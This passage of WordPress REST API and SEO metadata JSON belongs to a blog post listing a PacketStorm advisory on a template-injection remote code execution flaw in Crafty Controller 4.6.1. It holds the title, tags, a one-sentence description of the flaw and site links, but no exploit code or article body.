Injection_PACKETSTORM:213258\",\"datePublished\":\"2025-12-23T11:54:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543\"},\"wordCount\":2349,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32543#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543\",\"name\":\"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \\\/ Server-Side Template Injection_PACKETSTORM:213258 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-23T11:54:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32543\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \\\/ Server-Side Template Injection_PACKETSTORM:213258\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32543","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:15&#8243;,&#8221;description&#8221;:&#8221;Crafty Controller version 4.6.1 allows authenticated remote attackers to execute arbitrary system commands on the target server through server-side template injection the webhook configuration feature&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4...","og_url":"https:\/\/zero.redgem.net\/?p=32543","og_site_name":"zero redgem","article_published_time":"2025-12-23T11:54:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32543#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32543"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258","datePublished":"2025-12-23T11:54:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32543"},"wordCount":2349,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32543#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32543","url":"https:\/\/zero.redgem.net\/?p=32543","name":"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-23T11:54:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32543#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32543"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32543#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32543","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32543"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32543\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32543"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32543"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32543"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}